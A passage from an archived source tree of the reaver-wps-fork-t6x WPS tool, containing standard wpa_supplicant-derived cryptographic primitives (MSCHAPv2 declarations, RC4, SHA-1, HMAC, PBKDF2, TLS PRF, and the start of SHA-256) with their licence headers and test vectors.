new_password_hash, encrypted_password_hash); return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/ms_funcs.h000077500000000000000000000047731363372615500214230ustar00rootroot00000000000000/* * WPA Supplicant / shared MSCHAPV2 helper functions / RFC 2433 / RFC 2759 * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef MS_FUNCS_H #define MS_FUNCS_H int generate_nt_response(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password, size_t password_len, u8 *response); int generate_nt_response_pwhash(const u8 *auth_challenge, const u8 *peer_challenge, const u8 *username, size_t username_len, const u8 *password_hash, u8 *response); int generate_authenticator_response(const u8 *password, size_t password_len, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response); int generate_authenticator_response_pwhash( const u8 *password_hash, const u8 *peer_challenge, const u8 *auth_challenge, const u8 *username, size_t username_len, const u8 *nt_response, u8 *response); int nt_challenge_response(const u8 *challenge, const u8 *password, size_t password_len, u8 *response); void challenge_response(const u8 *challenge, const u8 *password_hash, u8 *response); int nt_password_hash(const u8 *password, size_t password_len, u8 *password_hash); int hash_nt_password_hash(const u8 *password_hash, u8 *password_hash_hash); int get_master_key(const u8 *password_hash_hash, const u8 *nt_response, u8 *master_key); int get_asymetric_start_key(const u8 *master_key, u8 *session_key, size_t session_key_len, int is_send, int is_server); int __must_check encrypt_pw_block_with_password_hash( const u8 *password, size_t password_len, const u8 *password_hash, u8 *pw_block); int __must_check new_password_encrypted_with_old_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_pw_block); void nt_password_hash_encrypted_with_block(const u8 *password_hash, const u8 *block, u8 *cypher); int old_nt_password_hash_encrypted_with_new_nt_password_hash( const u8 *new_password, size_t new_password_len, const u8 *old_password, size_t old_password_len, u8 *encrypted_password_hash); #endif /* MS_FUNCS_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/rc4.c000077500000000000000000000023141363372615500202560ustar00rootroot00000000000000/* * RC4 stream cipher * Copyright (c) 2002-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #define S_SWAP(a,b) do { u8 t = S[a]; S[a] = S[b]; S[b] = t; } while(0) int rc4_skip(const u8 *key, size_t keylen, size_t skip, u8 *data, size_t data_len) { u32 i, j, k; u8 S[256], *pos; size_t kpos; /* Setup RC4 state */ for (i = 0; i < 256; i++) S[i] = i; j = 0; kpos = 0; for (i = 0; i < 256; i++) { j = (j + S[i] + key[kpos]) & 0xff; kpos++; if (kpos >= keylen) kpos = 0; S_SWAP(i, j); } /* Skip the start of the stream */ i = j = 0; for (k = 0; k < skip; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); } /* Apply RC4 to data */ pos = data; for (k = 0; k < data_len; k++) { i = (i + 1) & 0xff; j = (j + S[i]) & 0xff; S_SWAP(i, j); *pos++ ^= S[(S[i] + S[j]) & 0xff]; } return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/sha1-internal.c000077500000000000000000000220511363372615500222340ustar00rootroot00000000000000/* * SHA1 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "sha1_i.h" #include "md5.h" #include "crypto.h" typedef struct SHA1Context SHA1_CTX; void SHA1Transform(u32 state[5], const unsigned char buffer[64]); /** * sha1_vector - SHA-1 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 of failure */ int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { SHA1_CTX ctx; size_t i; SHA1Init(&ctx); for (i = 0; i < num_elem; i++) SHA1Update(&ctx, addr[i], len[i]); SHA1Final(mac, &ctx); return 0; } /* ===== start - public domain SHA1 implementation ===== */ /* SHA-1 in C By Steve Reid 100% Public Domain ----------------- Modified 7/98 By James H. Brown Still 100% Public Domain Corrected a problem which generated improper hash values on 16 bit machines Routine SHA1Update changed from void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned int len) to void SHA1Update(SHA1_CTX* context, unsigned char* data, unsigned long len) The 'len' parameter was declared an int which works fine on 32 bit machines. However, on 16 bit machines an int is too small for the shifts being done against it. This caused the hash function to generate incorrect values if len was greater than 8191 (8K - 1) due to the 'len << 3' on line 3 of SHA1Update(). Since the file IO in main() reads 16K at a time, any file 8K or larger would be guaranteed to generate the wrong hash (e.g. Test Vector #3, a million "a"s). I also changed the declaration of variables i & j in SHA1Update to unsigned long from unsigned int for the same reason. These changes should make no difference to any 32 bit implementations since an int and a long are the same size in those environments. -- I also corrected a few compiler warnings generated by Borland C. 1. Added #include for exit() prototype 2. Removed unused variable 'j' in SHA1Final 3. Changed exit(0) to return(0) at end of main. ALL changes I made can be located by searching for comments containing 'JHB' ----------------- Modified 8/98 By Steve Reid Still 100% public domain 1- Removed #include and used return() instead of exit() 2- Fixed overwriting of finalcount in SHA1Final() (discovered by Chris Hall) 3- Changed email address from steve@edmweb.com to sreid@sea-to-sky.net ----------------- Modified 4/01 By Saul Kravitz Still 100% PD Modified to run on Compaq Alpha hardware. ----------------- Modified 4/01 By Jouni Malinen Minor changes to match the coding style used in Dynamics. Modified September 24, 2004 By Jouni Malinen Fixed alignment issue in SHA1Transform when SHA1HANDSOFF is defined. */ /* Test Vectors (from FIPS PUB 180-1) "abc" A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq" 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1 A million repetitions of "a" 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F */ #define SHA1HANDSOFF #define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits)))) /* blk0() and blk() perform the initial expand. */ /* I got the idea of expanding during the round function from SSLeay */ #ifndef WORDS_BIGENDIAN #define blk0(i) (block->l[i] = (rol(block->l[i], 24) & 0xFF00FF00) | \ (rol(block->l[i], 8) & 0x00FF00FF)) #else #define blk0(i) block->l[i] #endif #define blk(i) (block->l[i & 15] = rol(block->l[(i + 13) & 15] ^ \ block->l[(i + 8) & 15] ^ block->l[(i + 2) & 15] ^ block->l[i & 15], 1)) /* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */ #define R0(v,w,x,y,z,i) \ z += ((w & (x ^ y)) ^ y) + blk0(i) + 0x5A827999 + rol(v, 5); \ w = rol(w, 30); #define R1(v,w,x,y,z,i) \ z += ((w & (x ^ y)) ^ y) + blk(i) + 0x5A827999 + rol(v, 5); \ w = rol(w, 30); #define R2(v,w,x,y,z,i) \ z += (w ^ x ^ y) + blk(i) + 0x6ED9EBA1 + rol(v, 5); w = rol(w, 30); #define R3(v,w,x,y,z,i) \ z += (((w | x) & y) | (w & x)) + blk(i) + 0x8F1BBCDC + rol(v, 5); \ w = rol(w, 30); #define R4(v,w,x,y,z,i) \ z += (w ^ x ^ y) + blk(i) + 0xCA62C1D6 + rol(v, 5); \ w=rol(w, 30); #ifdef VERBOSE /* SAK */ void SHAPrintContext(SHA1_CTX *context, char *msg) { printf("%s (%d,%d) %x %x %x %x %x\n", msg, context->count[0], context->count[1], context->state[0], context->state[1], context->state[2], context->state[3], context->state[4]); } #endif /* Hash a single 512-bit block. This is the core of the algorithm. */ void SHA1Transform(u32 state[5], const unsigned char buffer[64]) { u32 a, b, c, d, e; typedef union { unsigned char c[64]; u32 l[16]; } CHAR64LONG16; CHAR64LONG16* block; #ifdef SHA1HANDSOFF CHAR64LONG16 workspace; block = &workspace; os_memcpy(block, buffer, 64); #else block = (CHAR64LONG16 *) buffer; #endif /* Copy context->state[] to working vars */ a = state[0]; b = state[1]; c = state[2]; d = state[3]; e = state[4]; /* 4 rounds of 20 operations each. Loop unrolled. */ R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3); R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7); R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11); R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15); R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19); R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23); R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27); R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31); R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35); R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39); R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43); R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47); R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51); R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55); R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59); R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63); R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67); R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71); R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75); R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79); /* Add the working vars back into context.state[] */ state[0] += a; state[1] += b; state[2] += c; state[3] += d; state[4] += e; /* Wipe variables */ a = b = c = d = e = 0; #ifdef SHA1HANDSOFF os_memset(block, 0, 64); #endif } /* SHA1Init - Initialize new context */ void SHA1Init(SHA1_CTX* context) { /* SHA1 initialization constants */ context->state[0] = 0x67452301; context->state[1] = 0xEFCDAB89; context->state[2] = 0x98BADCFE; context->state[3] = 0x10325476; context->state[4] = 0xC3D2E1F0; context->count[0] = context->count[1] = 0; } /* Run your data through this. */ void SHA1Update(SHA1_CTX* context, const void *_data, u32 len) { u32 i, j; const unsigned char *data = _data; #ifdef VERBOSE SHAPrintContext(context, "before"); #endif j = (context->count[0] >> 3) & 63; if ((context->count[0] += len << 3) < (len << 3)) context->count[1]++; context->count[1] += (len >> 29); if ((j + len) > 63) { os_memcpy(&context->buffer[j], data, (i = 64-j)); SHA1Transform(context->state, context->buffer); for ( ; i + 63 < len; i += 64) { SHA1Transform(context->state, &data[i]); } j = 0; } else i = 0; os_memcpy(&context->buffer[j], &data[i], len - i); #ifdef VERBOSE SHAPrintContext(context, "after "); #endif } /* Add padding and return the message digest. */ void SHA1Final(unsigned char digest[20], SHA1_CTX* context) { u32 i; unsigned char finalcount[8]; for (i = 0; i < 8; i++) { finalcount[i] = (unsigned char) ((context->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255); /* Endian independent */ } SHA1Update(context, (unsigned char *) "\200", 1); while ((context->count[0] & 504) != 448) { SHA1Update(context, (unsigned char *) "\0", 1); } SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */ for (i = 0; i < 20; i++) { digest[i] = (unsigned char) ((context->state[i >> 2] >> ((3 - (i & 3)) * 8)) & 255); } /* Wipe variables */ i = 0; os_memset(context->buffer, 0, 64); os_memset(context->state, 0, 20); os_memset(context->count, 0, 8); os_memset(finalcount, 0, 8); } /* ===== end - public domain SHA1 implementation ===== */ reaver-wps-fork-t6x-1.6.6/src/crypto/sha1-pbkdf2.c000077500000000000000000000051441363372615500215740ustar00rootroot00000000000000/* * SHA1-based key derivation function (PBKDF2) for IEEE 802.11i * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "md5.h" #include "crypto.h" static int pbkdf2_sha1_f(const char *passphrase, const char *ssid, size_t ssid_len, int iterations, unsigned int count, u8 *digest) { unsigned char tmp[SHA1_MAC_LEN], tmp2[SHA1_MAC_LEN]; int i, j; unsigned char count_buf[4]; const u8 *addr[2]; size_t len[2]; size_t passphrase_len = os_strlen(passphrase); addr[0] = (u8 *) ssid; len[0] = ssid_len; addr[1] = count_buf; len[1] = 4; /* F(P, S, c, i) = U1 xor U2 xor ... Uc * U1 = PRF(P, S || i) * U2 = PRF(P, U1) * Uc = PRF(P, Uc-1) */ count_buf[0] = (count >> 24) & 0xff; count_buf[1] = (count >> 16) & 0xff; count_buf[2] = (count >> 8) & 0xff; count_buf[3] = count & 0xff; if (hmac_sha1_vector((u8 *) passphrase, passphrase_len, 2, addr, len, tmp)) return -1; os_memcpy(digest, tmp, SHA1_MAC_LEN); for (i = 1; i < iterations; i++) { if (hmac_sha1((u8 *) passphrase, passphrase_len, tmp, SHA1_MAC_LEN, tmp2)) return -1; os_memcpy(tmp, tmp2, SHA1_MAC_LEN); for (j = 0; j < SHA1_MAC_LEN; j++) digest[j] ^= tmp2[j]; } return 0; } /** * pbkdf2_sha1 - SHA1-based key derivation function (PBKDF2) for IEEE 802.11i * @passphrase: ASCII passphrase * @ssid: SSID * @ssid_len: SSID length in bytes * @iterations: Number of iterations to run * @buf: Buffer for the generated key * @buflen: Length of the buffer in bytes * Returns: 0 on success, -1 of failure * * This function is used to derive PSK for WPA-PSK. For this protocol, * iterations is set to 4096 and buflen to 32. This function is described in * IEEE Std 802.11-2004, Clause H.4. The main construction is from PKCS#5 v2.0. */ int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len, int iterations, u8 *buf, size_t buflen) { unsigned int count = 0; unsigned char *pos = buf; size_t left = buflen, plen; unsigned char digest[SHA1_MAC_LEN]; while (left > 0) { count++; if (pbkdf2_sha1_f(passphrase, ssid, ssid_len, iterations, count, digest)) return -1; plen = left > SHA1_MAC_LEN ? SHA1_MAC_LEN : left; os_memcpy(pos, digest, plen); pos += plen; left -= plen; } return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/sha1-tlsprf.c000077500000000000000000000055571363372615500217460ustar00rootroot00000000000000/* * TLS PRF (SHA1 + MD5) * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "md5.h" #include "crypto.h" /** * tls_prf - Pseudo-Random Function for TLS (TLS-PRF, RFC 2246) * @secret: Key for PRF * @secret_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @seed: Seed value to bind into the key * @seed_len: Length of the seed * @out: Buffer for the generated pseudo-random key * @outlen: Number of bytes of key to generate * Returns: 0 on success, -1 on failure. * * This function is used to derive new, cryptographically separate keys from a * given key in TLS. This PRF is defined in RFC 2246, Chapter 5. */ int tls_prf(const u8 *secret, size_t secret_len, const char *label, const u8 *seed, size_t seed_len, u8 *out, size_t outlen) { size_t L_S1, L_S2, i; const u8 *S1, *S2; u8 A_MD5[MD5_MAC_LEN], A_SHA1[SHA1_MAC_LEN]; u8 P_MD5[MD5_MAC_LEN], P_SHA1[SHA1_MAC_LEN]; int MD5_pos, SHA1_pos; const u8 *MD5_addr[3]; size_t MD5_len[3]; const unsigned char *SHA1_addr[3]; size_t SHA1_len[3]; if (secret_len & 1) return -1; MD5_addr[0] = A_MD5; MD5_len[0] = MD5_MAC_LEN; MD5_addr[1] = (unsigned char *) label; MD5_len[1] = os_strlen(label); MD5_addr[2] = seed; MD5_len[2] = seed_len; SHA1_addr[0] = A_SHA1; SHA1_len[0] = SHA1_MAC_LEN; SHA1_addr[1] = (unsigned char *) label; SHA1_len[1] = os_strlen(label); SHA1_addr[2] = seed; SHA1_len[2] = seed_len; /* RFC 2246, Chapter 5 * A(0) = seed, A(i) = HMAC(secret, A(i-1)) * P_hash = HMAC(secret, A(1) + seed) + HMAC(secret, A(2) + seed) + .. * PRF = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed) */ L_S1 = L_S2 = (secret_len + 1) / 2; S1 = secret; S2 = secret + L_S1; if (secret_len & 1) { /* The last byte of S1 will be shared with S2 */ S2--; } hmac_md5_vector_non_fips_allow(S1, L_S1, 2, &MD5_addr[1], &MD5_len[1], A_MD5); hmac_sha1_vector(S2, L_S2, 2, &SHA1_addr[1], &SHA1_len[1], A_SHA1); MD5_pos = MD5_MAC_LEN; SHA1_pos = SHA1_MAC_LEN; for (i = 0; i < outlen; i++) { if (MD5_pos == MD5_MAC_LEN) { hmac_md5_vector_non_fips_allow(S1, L_S1, 3, MD5_addr, MD5_len, P_MD5); MD5_pos = 0; hmac_md5_non_fips_allow(S1, L_S1, A_MD5, MD5_MAC_LEN, A_MD5); } if (SHA1_pos == SHA1_MAC_LEN) { hmac_sha1_vector(S2, L_S2, 3, SHA1_addr, SHA1_len, P_SHA1); SHA1_pos = 0; hmac_sha1(S2, L_S2, A_SHA1, SHA1_MAC_LEN, A_SHA1); } out[i] = P_MD5[MD5_pos] ^ P_SHA1[SHA1_pos]; MD5_pos++; SHA1_pos++; } return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/sha1-tprf.c000077500000000000000000000036611363372615500214010ustar00rootroot00000000000000/* * SHA1 T-PRF for EAP-FAST * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "crypto.h" /** * sha1_t_prf - EAP-FAST Pseudo-Random Function (T-PRF) * @key: Key for PRF * @key_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @seed: Seed value to bind into the key * @seed_len: Length of the seed * @buf: Buffer for the generated pseudo-random key * @buf_len: Number of bytes of key to generate * Returns: 0 on success, -1 of failure * * This function is used to derive new, cryptographically separate keys from a * given key for EAP-FAST. T-PRF is defined in RFC 4851, Section 5.5. */ int sha1_t_prf(const u8 *key, size_t key_len, const char *label, const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len) { unsigned char counter = 0; size_t pos, plen; u8 hash[SHA1_MAC_LEN]; size_t label_len = os_strlen(label); u8 output_len[2]; const unsigned char *addr[5]; size_t len[5]; addr[0] = hash; len[0] = 0; addr[1] = (unsigned char *) label; len[1] = label_len + 1; addr[2] = seed; len[2] = seed_len; addr[3] = output_len; len[3] = 2; addr[4] = &counter; len[4] = 1; output_len[0] = (buf_len >> 8) & 0xff; output_len[1] = buf_len & 0xff; pos = 0; while (pos < buf_len) { counter++; plen = buf_len - pos; if (hmac_sha1_vector(key, key_len, 5, addr, len, hash)) return -1; if (plen >= SHA1_MAC_LEN) { os_memcpy(&buf[pos], hash, SHA1_MAC_LEN); pos += SHA1_MAC_LEN; } else { os_memcpy(&buf[pos], hash, plen); break; } len[0] = SHA1_MAC_LEN; } return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/sha1.c000077500000000000000000000101411363372615500204170ustar00rootroot00000000000000/* * SHA1 hash implementation and interface functions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha1.h" #include "crypto.h" /** * hmac_sha1_vector - HMAC-SHA1 over data vector (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash (20 bytes) * Returns: 0 on success, -1 on failure */ int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { unsigned char k_pad[64]; /* padding - key XORd with ipad/opad */ unsigned char tk[20]; const u8 *_addr[6]; size_t _len[6], i; if (num_elem > 5) { /* * Fixed limit on the number of fragments to avoid having to * allocate memory (which could fail). */ return -1; } /* if key is longer than 64 bytes reset it to key = SHA1(key) */ if (key_len > 64) { if (sha1_vector(1, &key, &key_len, tk)) return -1; key = tk; key_len = 20; } /* the HMAC_SHA1 transform looks like: * * SHA1(K XOR opad, SHA1(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in ipad */ os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with ipad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x36; /* perform inner SHA1 */ _addr[0] = k_pad; _len[0] = 64; for (i = 0; i < num_elem; i++) { _addr[i + 1] = addr[i]; _len[i + 1] = len[i]; } if (sha1_vector(1 + num_elem, _addr, _len, mac)) return -1; os_memset(k_pad, 0, sizeof(k_pad)); os_memcpy(k_pad, key, key_len); /* XOR key with opad values */ for (i = 0; i < 64; i++) k_pad[i] ^= 0x5c; /* perform outer SHA1 */ _addr[0] = k_pad; _len[0] = 64; _addr[1] = mac; _len[1] = SHA1_MAC_LEN; return sha1_vector(2, _addr, _len, mac); } /** * hmac_sha1 - HMAC-SHA1 over data buffer (RFC 2104) * @key: Key for HMAC operations * @key_len: Length of the key in bytes * @data: Pointers to the data area * @data_len: Length of the data area * @mac: Buffer for the hash (20 bytes) * Returns: 0 on success, -1 of failure */ int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac) { return hmac_sha1_vector(key, key_len, 1, &data, &data_len, mac); } /** * sha1_prf - SHA1-based Pseudo-Random Function (PRF) (IEEE 802.11i, 8.5.1.1) * @key: Key for PRF * @key_len: Length of the key in bytes * @label: A unique label for each purpose of the PRF * @data: Extra data to bind into the key * @data_len: Length of the data * @buf: Buffer for the generated pseudo-random key * @buf_len: Number of bytes of key to generate * Returns: 0 on success, -1 of failure * * This function is used to derive new, cryptographically separate keys from a * given key (e.g., PMK in IEEE 802.11i). */ int sha1_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len) { u8 counter = 0; size_t pos, plen; u8 hash[SHA1_MAC_LEN]; size_t label_len = os_strlen(label) + 1; const unsigned char *addr[3]; size_t len[3]; addr[0] = (u8 *) label; len[0] = label_len; addr[1] = data; len[1] = data_len; addr[2] = &counter; len[2] = 1; pos = 0; while (pos < buf_len) { plen = buf_len - pos; if (plen >= SHA1_MAC_LEN) { if (hmac_sha1_vector(key, key_len, 3, addr, len, &buf[pos])) return -1; pos += SHA1_MAC_LEN; } else { if (hmac_sha1_vector(key, key_len, 3, addr, len, hash)) return -1; os_memcpy(&buf[pos], hash, plen); break; } counter++; } return 0; } reaver-wps-fork-t6x-1.6.6/src/crypto/sha1.h000077500000000000000000000023521363372615500204310ustar00rootroot00000000000000/* * SHA1 hash implementation and interface functions * Copyright (c) 2003-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef SHA1_H #define SHA1_H #define SHA1_MAC_LEN 20 int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac); int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len, u8 *mac); int sha1_prf(const u8 *key, size_t key_len, const char *label, const u8 *data, size_t data_len, u8 *buf, size_t buf_len); int sha1_t_prf(const u8 *key, size_t key_len, const char *label, const u8 *seed, size_t seed_len, u8 *buf, size_t buf_len); int __must_check tls_prf(const u8 *secret, size_t secret_len, const char *label, const u8 *seed, size_t seed_len, u8 *out, size_t outlen); int pbkdf2_sha1(const char *passphrase, const char *ssid, size_t ssid_len, int iterations, u8 *buf, size_t buflen); #endif /* SHA1_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/sha1_i.h000077500000000000000000000014511363372615500207400ustar00rootroot00000000000000/* * SHA1 internal definitions * Copyright (c) 2003-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef SHA1_I_H #define SHA1_I_H struct SHA1Context { u32 state[5]; u32 count[2]; unsigned char buffer[64]; }; void SHA1Init(struct SHA1Context *context); void SHA1Update(struct SHA1Context *context, const void *data, u32 len); void SHA1Final(unsigned char digest[20], struct SHA1Context *context); void SHA1Transform(u32 state[5], const unsigned char buffer[64]); #endif /* SHA1_I_H */ reaver-wps-fork-t6x-1.6.6/src/crypto/sha256-internal.c000077500000000000000000000146761363372615500224260ustar00rootroot00000000000000/* * SHA-256 hash implementation and interface functions * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "sha256.h" #include "crypto.h" struct sha256_state { u64 length; u32 state[8], curlen; u8 buf[64]; }; static void sha256_init(struct sha256_state *md); static int sha256_process(struct sha256_state *md, const unsigned char *in, unsigned long inlen); static int sha256_done(struct sha256_state *md, unsigned char *out); /** * sha256_vector - SHA256 hash for data vector * @num_elem: Number of elements in the data vector * @addr: Pointers to the data areas * @len: Lengths of the data blocks * @mac: Buffer for the hash * Returns: 0 on success, -1 of failure */ int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac) { struct sha256_state ctx; size_t i; sha256_init(&ctx); for (i = 0; i < num_elem; i++) if (sha256_process(&ctx, addr[i], len[i])) return -1; if (sha256_done(&ctx, mac)) return -1; return 0; } /* ===== start - public domain SHA256 implementation ===== */ /* This is based on SHA256 implementation in LibTomCrypt that was released into * public domain by Tom St Denis. */ /* the K array */ static const unsigned long K[64] = { 0x428a2f98UL, 0x71374491UL, 0xb5c0fbcfUL, 0xe9b5dba5UL, 0x3956c25bUL, 0x59f111f1UL, 0x923f82a4UL, 0xab1c5ed5UL, 0xd807aa98UL, 0x12835b01UL, 0x243185beUL, 0x550c7dc3UL, 0x72be5d74UL, 0x80deb1feUL, 0x9bdc06a7UL, 0xc19bf174UL, 0xe49b69c1UL, 0xefbe4786UL, 0x0fc19dc6UL, 0x240ca1ccUL, 0x2de92c6fUL, 0x4a7484aaUL, 0x5cb0a9dcUL, 0x76f988daUL, 0x983e5152UL, 0xa831c66dUL, 0xb00327c8UL, 0xbf597fc7UL, 0xc6e00bf3UL, 0xd5a79147UL, 0x06ca6351UL, 0x14292967UL, 0x27b70a85UL, 0x2e1b2138UL, 0x4d2c6dfcUL, 0x53380d13UL, 0x650a7354UL, 0x766a0abbUL, 0x81c2c92eUL, 0x92722c85UL, 0xa2bfe8a1UL, 0xa81a664bUL, 0xc24b8b70UL, 0xc76c51a3UL, 0xd192e819UL, 0xd6990624UL, 0xf40e3585UL, 0x106aa070UL, 0x19a4c116UL, 0x1e376c08UL, 0x2748774cUL, 0x34b0bcb5UL, 0x391c0cb3UL, 0x4ed8aa4aUL, 0x5b9cca4fUL, 0x682e6ff3UL, 0x748f82eeUL, 0x78a5636fUL, 0x84c87814UL, 0x8cc70208UL, 0x90befffaUL, 0xa4506cebUL, 0xbef9a3f7UL, 0xc67178f2UL }; /* Various logical functions */ #define RORc(x, y) \ ( ((((unsigned long) (x) & 0xFFFFFFFFUL) >> (unsigned long) ((y) & 31)) | \ ((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL) #define Ch(x,y,z) (z ^ (x & (y ^ z))) #define Maj(x,y,z) (((x | y) & z) | (x & y)) #define S(x, n) RORc((x), (n)) #define R(x, n) (((x)&0xFFFFFFFFUL)>>(n)) #define Sigma0(x) (S(x, 2) ^ S(x, 13) ^ S(x, 22)) #define Sigma1(x) (S(x, 6) ^ S(x, 11) ^ S(x, 25)) #define Gamma0(x) (S(x, 7) ^ S(x, 18) ^ R(x, 3)) #define Gamma1(x) (S(x, 17) ^ S(x, 19) ^ R(x, 10)) #ifndef MIN #define MIN(x, y) (((x) < (y)) ? (x) : (y)) #endif /* compress 